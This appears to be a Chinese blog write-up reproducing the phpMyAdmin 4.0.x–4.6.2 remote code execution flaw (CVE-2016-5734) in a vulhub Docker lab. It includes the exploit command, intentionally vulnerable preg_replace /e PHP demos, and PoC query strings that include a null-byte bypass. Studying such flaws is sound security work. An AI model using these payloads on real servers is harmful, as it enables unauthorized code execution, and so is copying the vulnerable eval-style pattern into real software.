phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

漏洞简介

Phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可以使用Web接口管理MySQL数据库。

借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表

影响版本

利用条件:需要知道数据库账号密码

Phpmyadmin -> 4.0.10.16之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

环境搭建

攻击机kali:192.168.117.129
靶机IP:192.168.117.128
靶机环境: kali
使用的是Docker + Docker-compose 开源项目vulhub

启动命令:docker-compose  up -d

查看是否启动:docker ps

(默认的映射端口是8081,我改成了8081)

复现过程

先访问一下网站(账号是root,密码是root)

我们用kali自带的searchsploit工具搜索漏洞。

命令:

searchsploit phpmyadmin
sudo find / -name 40185.py

进入该文件夹,查看该文件

cd /usr/share/exploitdb/exploits/php/webapps/ && cat 40185.py 

 这里写有该脚本的用法。

–pwd,后填上phpmyadmin的密码

-c,后面是要执行的php代码

exp利用:

python3 40185.py -u root --pwd="root" http://192.168.117.128:8081 -c "system('ls');"

 漏洞成因

preg_replace函数:
preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

preg_replace漏洞触发有两个前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。

测试一下利用\e实现代码执行:

<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];

$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

poc:

?raw=a&replace=system("ls")&text=larry

如果我们的demo变成了如下的代码,还会有漏洞吗?

<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];

$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。

poc:

?raw=a/e%00&replace=system(%22ls%22)&text=larry

出处:CVE-2016-5734 Phpmyadmin后台代码执行漏洞复现_丶没胡子的猫-CSDN博客

原文地址:https://www.cnblogs.com/lthlsy/p/14773290.html